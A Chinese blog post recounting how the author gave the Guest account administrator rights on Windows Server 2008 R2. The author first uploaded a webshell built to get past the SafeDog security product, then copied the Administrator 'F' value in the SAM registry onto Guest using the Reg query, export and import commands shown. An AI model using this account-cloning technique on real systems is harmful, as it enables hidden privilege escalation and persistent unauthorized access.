溫馨提示×

溫馨提示×

您好，登錄后才能下訂單哦！

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務(wù)條款》

記一次克隆管理員的經(jīng)歷

發(fā)布時間：2020-06-01 19:22:27 來源：網(wǎng)絡(luò) 閱讀：1199 作者：ScreenFreezer 欄目：安全技術(shù)

半夜Server 2008R2安裝MS17-010補(bǔ)丁時，重啟系統(tǒng) 發(fā)現(xiàn)系統(tǒng)密碼忘記了
還好本地登錄的安全策略留了一個guest用戶
本地搭建了DVWA WEB***測試環(huán)境 權(quán)限為system
通過漏洞上傳過狗一句話***
***權(quán)限為system權(quán)限
可以創(chuàng)建用戶 但是無法將用戶添加至管理員組 估計是安全狗攔截了提權(quán)操作
隨后將管理員權(quán)限克隆至login用戶 登錄成功

目標(biāo)將把Guest提權(quán)為Administrator
查詢SAM注冊表下有什么配置文件
Reg query HKLM\SAM\SAM\Domains\Account\Users
記一次克隆管理員的經(jīng)歷
查詢用戶名
Reg query HKLM\SAM\SAM\Domains\Account\Users\Names
記一次克隆管理員的經(jīng)歷
000001F4的配置文件對應(yīng)的用戶為Administrator
000001F5的配置文件對應(yīng)的用戶為Guest
然后把注冊表下的鍵值導(dǎo)出
先把Administrator的鍵值導(dǎo)出 保存到C盤名稱為1.reg
Reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\1.reg
再把Guest的鍵值導(dǎo)出 保存到C盤名稱為2.reg
Reg export HKLM\SAM\SAM\Domains\Account\Users\000001F5 c:\2.reg

然后將1.reg “F”的鍵值數(shù)據(jù)復(fù)制下來 替換2.reg里面的”F”鍵值
記一次克隆管理員的經(jīng)歷
然后在把2.reg導(dǎo)入到注冊表
Reg import c:\2.reg
最后使用guest登錄
用戶家目錄等 都變成了Administrator的數(shù)據(jù)
實際上就是Administrator=Guest

向AI問一下細(xì)節(jié)

免責(zé)聲明：本站發(fā)布的內(nèi)容（圖片、視頻和文字）以原創(chuàng)、轉(zhuǎn)載和分享為主，文章觀點不代表本網(wǎng)站立場，如果涉及侵權(quán)請聯(lián)系站長郵箱：is@yisu.com進(jìn)行舉報，并提供相關(guān)證據(jù)，一經(jīng)查實，將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI
助
手